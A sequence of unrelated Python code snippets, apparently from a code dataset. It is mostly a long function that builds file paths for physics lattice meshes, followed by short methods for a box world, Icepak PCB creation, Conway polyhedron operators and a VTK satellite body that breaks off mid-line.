rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + exten + '_{0:06d}'.format(NH) + \\\n '_x_' + '{0:06d}'.format(1) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'circlebonds':\n # circle of particles connected in a periodic line\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_{0:06d}'.format(NH) + \\\n '_x_' + '{0:06d}'.format(1) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'dislocated':\n Ndefects = str(lp['Ndefects'])\n Bvec = lp['Bvec']\n dislocxy = lp['dislocxy'] # specifies the position of a single defect, if not centered, as tuple of strings\n if dislocxy == 'none':\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\n '_Bvec' + Bvec + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\n '_Bvec' + Bvec + '_dislocxy_' + str(dislocxy[0]) + '_' + str(dislocxy[1]) + '_{0:06d}'.format(NH) + \\\n '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'dislocatedTriangular':\n Ndefects = str(lp['Ndefects'])\n Bvec = lp['Bvec']\n try:\n dislocxy = lp['dislocxy'] # specifies the position of a single defect, if not centered, as tuple of strings\n except:\n dislocxy = 'none'\n\n if dislocxy == 'none':\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\n '_Bvec' + Bvec + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\n '_Bvec' + Bvec + '_dislocxy_' + str(dislocxy[0]) + '_' + str(dislocxy[1]) + '_{0:06d}'.format(NH) + \\\n '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'dislocatedRand':\n Ndefects = str(lp['Ndefects'])\n Bvec = lp['Bvec']\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_Ndefects' + Ndefects + \\\n '_Bvec' + Bvec + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'triangularz':\n zmethodstr = lp['cutz_method']\n zstr = str(lp['z'])\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_zmethod' + zmethodstr + \\\n '_z' + zstr + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'penroserhombTri':\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n perstr = ''\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + perstr + '_' + shape + \\\n '_div*_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'penroserhombTricent':\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n perstr = ''\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + perstr + '_' + shape + \\\n '_div*_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'kagome_penroserhombTricent':\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_div*_{0:06d}'.format(\n NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'random_organization_gamma' in LatticeTop:\n hustr = '_d' + huID\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + \\\n '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'kagper_hucent':\n print '\\n\\n sub-realization number (for given hu realization, which decoration?): lp[subconf] = ', lp[\n 'subconf'], '\\n'\n # hyperuniform ID string\n hustr = '_d' + huID\n perdstr = '_perd' + '{0:0.2f}'.format(lp['percolation_density']).replace('.', 'p')\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + perdstr + \\\n '_r' + '{0:02d}'.format(int(lp['subconf'])) + \\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + perdstr + \\\n '_r' + '{0:02d}'.format(int(lp['subconf'])) + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['hucent_kagframe', 'kaghu_centframe', 'hucent_kagcframe']:\n # hyperuniform ID string\n hustr = '_d' + huID\n alphstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + alphstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(\n NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['isocent_kagframe', 'isocent_kagcframe']:\n # isostatic ID string\n if lp['source'] == 'ulrich':\n hustr = '_ulrich_homog_zindex001' + '_conf' + huID\n elif lp['source'] == 'hexner':\n if lp['periodicBC'] and lp['NP_load'] > 0:\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\n elif NH > 80 or NV > 80:\n hustr = '_hexner_size128000_conf' + huID\n elif NH > 15 or NV > 15:\n hustr = '_hexner_size8192_conf' + huID\n else:\n hustr = '_hexner_size0512_conf' + huID\n perdstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + perdstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + perdstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(\n NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'hex_kagframe' or LatticeTop == 'hex_kagcframe':\n alphstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n if 'eta_alph' not in lp:\n print 'did not find eta_alph in lp, using alph value as eta_alph...'\n lp['eta_alph'] = lp['alph']\n\n etastr += '_etaalph' + sf.float2pstr(lp['eta_alph'], ndigits=3)\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + \\\n phi_lattice.replace('.', 'p') + thetastr\n\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + delta_phi_str + \\\n originstr + alphstr + etastr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + delta_phi_str + \\\n originstr + alphstr + etastr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + \\\n cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop == 'kagsplit_hex':\n alphstr = '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodicBC'\n else:\n periodicstr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta)\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\n print '\\n\\n', delta_phi_str\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + delta_phi_str + \\\n alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['kagper_hex', 'kagpergrid_hex']:\n perdstr = '_perd' + '{0:0.2f}'.format(lp['percolation_density']).replace('.', 'p')\n if LatticeTop == 'kagpergrid_hex':\n perdstr += '_alph' + '{0:0.2f}'.format(lp['alph']).replace('.', 'p')\n\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodicBC'\n else:\n periodicstr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta)\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\n # get string for configuration number\n if 'conf' in lp:\n confstr = '_conf{0:04d}'.format(lp['conf'])\n else:\n confstr = ''\n\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n delta_phi_str + perdstr + confstr + \\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n delta_phi_str + perdstr + confstr + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['randomcent', 'kagome_randomcent']:\n if lp['periodicBC']:\n if lp['periodic_strip']:\n perstr = '_periodicstrip'\n else:\n perstr = '_periodic'\n else:\n perstr = ''\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + perstr + '_r' + \\\n '{0:02d}'.format(int(lp['conf'])) + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['randomspreadcent', 'kagome_randomspreadcent']:\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n perstr = ''\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + perstr + '_r' + \\\n '{0:02d}'.format(int(lp['conf'])) + \\\n '_spreadt{0:0.3f}'.format(lp['spreading_time']).replace('.', 'p') + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['uofc_hucent', 'uofc_kaglow_hucent', 'uofc_kaghi_hucent',\n 'kaghi_hucent_curvys', 'kaglow_hucent_curvys']:\n hustr = '_d' + huID\n if 'thres' not in lp:\n lp['thres'] = 1.0\n\n if 'curvys' in LatticeTop:\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\n else:\n aratiostr = ''\n\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + \\\n '_thres' + sf.float2pstr(lp['thres'], ndigits=1) + aratiostr + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif LatticeTop in ['uofc_isocent', 'uofc_kaglow_isocent', 'uofc_kaghi_isocent', 'chicago_kaglow_isocent',\n 'chicago_kaghi_isocent', 'kaghi_isocent_chern', 'kaghi_hucent_chern',\n 'csmf_kaghi_isocent', 'kaghi_isocent_thanks',\n 'kaghi_isocent_curvys', 'kaglow_isocent_curvys']:\n if lp['source'] == 'ulrich':\n hustr = '_ulrich_homog_zindex001' + '_conf' + huID\n elif lp['source'] == 'hexner':\n if lp['periodicBC'] and lp['NP_load'] > 0:\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\n elif NH > 80.5 or NV > 80.5:\n hustr = '_hexner_size128000_conf' + huID\n elif NH > 9 or NV > 9:\n hustr = '_hexner_size8192_conf' + huID\n else:\n hustr = '_hexner_size0512_conf' + huID\n\n if 'curvys' in LatticeTop:\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\n else:\n aratiostr = ''\n\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n if 'thres' not in lp:\n lp['thres'] = 1.0\n\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + \\\n '_thres' + sf.float2pstr(lp['thres'], ndigits=1) + aratiostr + \\\n '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + hustr + \\\n originstr + \\\n '_thres' + sf.float2pstr(lp['thres'], ndigits=1) + aratiostr + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'kaghi_randorg_gammakick' in LatticeTop and 'cent_curvys' in LatticeTop:\n # kaghi_randorg_gammakick1p60_cent_curvys\n # For cover optios in Nature Physics paper\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\n kickszstr = '_kicksz' + sf.float2pstr(lp['kicksz'], ndigits=3)\n spreadtstr = '_spreadt' + sf.float2pstr(lp['spreading_time'], ndigits=3)\n dtstr = '_dt' + sf.float2pstr(lp['spreading_dt'], ndigits=3)\n # for ensuring that no points are too close\n # alphstr =\n if lp['periodic_strip']:\n lp['NP_load'] = lp['NH'] * lp['NV']\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodicstrip' + kickszstr + spreadtstr + dtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + \\\n aratiostr + '_NP{0:06d}'.format(lp['NP_load']) + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + '_xy.txt'\n elif lp['periodicBC']:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodic' + kickszstr + spreadtstr + dtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + aratiostr + \\\n '_NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + kickszstr + spreadtstr + dtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + \\\n aratiostr + '_NP{0:06d}'.format(lp['NP_load']) + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n\n print 'searching for ', ffind\n elif LatticeTop == 'kagome':\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\n\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n delta_phi_str + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'randorg_gammakick' in LatticeTop:\n kickszstr = '_kicksz' + sf.float2pstr(lp['kicksz'], ndigits=3)\n spreadtstr = '_spreadt' + sf.float2pstr(lp['spreading_time'], ndigits=3)\n if lp['periodic_strip']:\n lp['NP_load'] = lp['NH'] * lp['NV']\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodicstrip' + kickszstr + spreadtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + '_xy.txt'\n elif lp['periodicBC']:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodic' + kickszstr + spreadtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + kickszstr + spreadtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n\n print 'searching for ', ffind\n elif 'randorg_gamma' in LatticeTop:\n # NOTE THAT WE USE RANDORG_GAMMAKICK NOW\n raise RuntimeError('We use randorg_gammakick now instead of randorg_gamma.')\n spreadtstr = 'spreadt' + sf.float2pstr(lp['spreading_time'], ndigits=3)\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + '_periodic_' + spreadtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + '_NP{0:06d}'.format(lp['NP_load']) + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + \\\n lp['LatticeTop'] + '_' + lp['shape'] + '_' + spreadtstr + \\\n '_d' + '{0:02d}'.format(int(lp['conf'])) + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'accordion' in LatticeTop:\n if 'hucent' in LatticeTop:\n # hyperuniform ID string\n hustr = '_d' + huID\n alphstr = '_alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam'])\n if lp['NP_load'] > 0:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr \\\n + alphstr + '_NP{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr \\\n + alphstr + '_{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n elif 'isocent' in LatticeTop:\n # accordionkag_isocent or accordionhex_isocent\n alphstr = 'alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam']) + '_'\n # isostatic ID string\n if lp['NP_load'] > 0:\n hustr = '_hexner_size' + str(lp['NP_load']) + '_conf' + huID\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + '_periodic' + hustr + \\\n alphstr + '_NP' + '{0:06d}'.format(lp['NP_load']) + cutLstr + '_xy.txt'\n else:\n if lp['source'] == 'ulrich':\n hustr = '_homog_zindex001' + '_conf' + huID\n elif lp['source'] == 'hexner':\n if NH > 10 or NV > 10:\n hustr = '_hexner_size8192_conf' + huID\n else:\n hustr = '_hexner_size0512_conf' + huID\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + hustr + '_' + \\\n alphstr + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n elif LatticeTop in ['accordionhex', 'accordionkag']:\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodicBC'\n else:\n periodicstr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n alphstr = '_alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam'])\n\n if 'eta_alph' in lp:\n if lp['eta_alph'] > 0:\n alphstr += '_etaalph' + sf.float2pstr(lp['eta_alph'], ndigits=2)\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\n print '\\n\\n', delta_phi_str\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n delta_phi_str + alphstr + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'spindle' in LatticeTop:\n if LatticeTop=='spindle':\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodicBC'\n else:\n periodicstr = ''\n\n if np.abs(lp['aratio'] - 1.0) > 1e-9:\n aratiostr = '_aratio{0:0.3f}'.format(lp['aratio']).replace('.', 'p')\n else:\n aratiostr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n alphstr = '_alph' + sf.float2pstr(lp['alph'], ndigits=4)\n\n if 'eta_alph' in lp:\n if lp['eta_alph'] > 0:\n alphstr += '_etaalph' + sf.float2pstr(lp['eta_alph'], ndigits=2)\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr + thetastr\n print '\\n\\n', delta_phi_str\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n delta_phi_str + alphstr + aratiostr + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n else:\n raise RuntimeError('only spindley lattice coded in le is spindle itself')\n print 'searching for ', ffind\n elif LatticeTop == 'stackedrhombic':\n if lp['periodicBC']:\n if lp['periodic_strip']:\n periodicstr = '_periodicstrip'\n else:\n periodicstr = '_periodicBC'\n else:\n periodicstr = ''\n\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n\n if theta_lattice == 0. or theta_lattice == '':\n thetastr = ''\n else:\n thetastr = '_theta{0:.3f}'.format(theta_lattice).replace('.', 'p') + 'pi'\n\n stacknum = '_stack' + str(lp['intparam'])\n\n if 'phi_lattice' not in lp:\n lp['phi_lattice'] = sf.float2pstr(lp['phi'] / np.pi, ndigits=3)\n\n phi_str = '_phi' + lp['phi_lattice'].replace('.', 'p') + 'pi' + etastr + thetastr\n print '\\n\\n', phi_str\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + periodicstr + \\\n stacknum + phi_str + \\\n '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n elif 'junction' in LatticeTop:\n # hexjunction or kagjunction\n # python ./build/make_lattice.py -LT junctiontriad\n if eta == 0. or eta == '':\n etastr = ''\n else:\n etastr = '_eta{0:.3f}'.format(eta).replace('.', 'p')\n if LatticeTop == 'hexjunctiontriad' or 'hexjunction2triads':\n alphstr = '_alph' + sf.float2pstr(lp['alph'], ndigits=6)\n if lp['periodicBC']:\n periodicstr = '_periodic'\n else:\n periodicstr = ''\n else:\n alphstr = '_alph' + sf.float2pstr(lp['alph']) + '_nzag{0:02d}'.format(lp['intparam'])\n periodicstr = ''\n\n delta_phi_str = '_delta' + delta_lattice.replace('.', 'p') + '_phi' + phi_lattice + etastr\n print '\\n\\n', delta_phi_str\n ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + periodicstr + delta_phi_str + \\\n alphstr + '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n print 'searching for ', ffind\n\n # else:\n # theta_eta_str = '_theta' + '{0:.3f}'.format(theta_lattice / np.pi).replace('.','p') +\\\n # 'pi' + '_eta{0:.3f}'.format(eta).replace('.', 'p')\n # ffind = rootdir + 'networks/' + LatticeTop + '/' + LatticeTop + '_' + shape + theta_eta_str +\n # '_' + '{0:06d}'.format(NH) + '_x_' + '{0:06d}'.format(NV) + cutLstr + '_xy.txt'\n # print 'searching for ', ffind\n xyffind = ffind\n meshfn = ffind[0:-7]\n print 'le.build_meshfn(): returning meshfn = ', meshfn\n return meshfn, xyffind","def validate_mesh(self):\n pass","def __init__(self, front_vertex, back_vertex):\n self.lower_vertex = np.array(front_vertex)\n self.upper_vertex = np.array(back_vertex)\n greater_or_equal = (\n np.greater(self.upper_vertex, self.lower_vertex).all()\n or np.equal(self.upper_vertex, self.lower_vertex).all()\n )\n assert greater_or_equal, \"front vertex {} must be greater than back_vertex {}\".format(\n front_vertex, back_vertex\n )\n self.padding = 1.0\n self.padding_multiplier = 2.0\n self.offset = 0.001\n self.blender_object = None\n self.obj_name = \"BoxWorld\"\n self.mesh_name = \"boxMesh\"\n # self.mesh_grower = self.setup_mesh_grower()","def create_pcb_from_3dlayout(\n self,\n component_name,\n project_name,\n design_name,\n resolution=2,\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n close_linked_project_after_import=True,\n custom_x_resolution=None,\n custom_y_resolution=None,\n ):\n if project_name == self.project_name:\n project_name = \"This Project*\"\n link_data = [project_name, design_name, \"<--EDB Layout Data-->\", False, False]\n status = self.create_ipk_3dcomponent_pcb(\n component_name,\n link_data,\n \"\",\n resolution,\n extenttype=extenttype,\n outlinepolygon=outlinepolygon,\n custom_x_resolution=custom_x_resolution,\n custom_y_resolution=custom_y_resolution,\n )\n\n if close_linked_project_after_import and \".aedt\" in project_name:\n prjname = os.path.splitext(os.path.basename(project_name))[0]\n self.close_project(prjname, saveproject=False)\n self.logger.glb.info(\"PCB component correctly created in Icepak.\")\n return status","def patterning(mesh, operator):\n\n\n operators = {\n 'conway_dual': conway_dual,\n 'conway_join': conway_join,\n 'conway_ambo': conway_ambo,\n 'conway_kis': conway_kis,\n 'conway_needle': conway_needle,\n 'conway_zip': conway_zip,\n 'conway_truncate': conway_truncate,\n 'conway_ortho': conway_ortho,\n 'conway_expand': conway_expand,\n 'conway_gyro': conway_gyro,\n 'conway_snub': conway_snub,\n 'conway_meta': conway_meta,\n 'conway_bevel': conway_bevel\n }\n\n try:\n operators[operator](mesh)\n return mesh\n except:\n return mesh","def create_sat_body(self):\n\n # Dimensions of body\n SAT_SIZE = self.ANI_SCALE*self.SAT_SCALE*np.asarray(self.SAT_PROPS[\"Size\"])/2\n bx = SAT_SIZE[0]\n by = SAT_SIZE[1]\n bz = SAT_SIZE[2]\n\n # Create vertices in body frame\n ind = 0\n V = []\n for x in [-1, 1]:\n for y in [-1, 1]:\n for z in [-1, 1]:\n V.append((bx*x, by*y, bz*z))\n \n # Create faces\n F = [\n (0, 1, 3, 2),\n (4, 5, 7, 6),\n (0, 1, 5, 4),\n (2, 3, 7, 6),\n (0, 2, 6, 4),\n (1, 3, 7, 5)\n ]\n\n # Create building blocks of polydata\n sat = vtk.vtkPolyData()\n points = vtk.vtkPoints()\n polys = vtk.vtkCellArray()\n scalars = vtk.vtkFloatArray()\n\n # 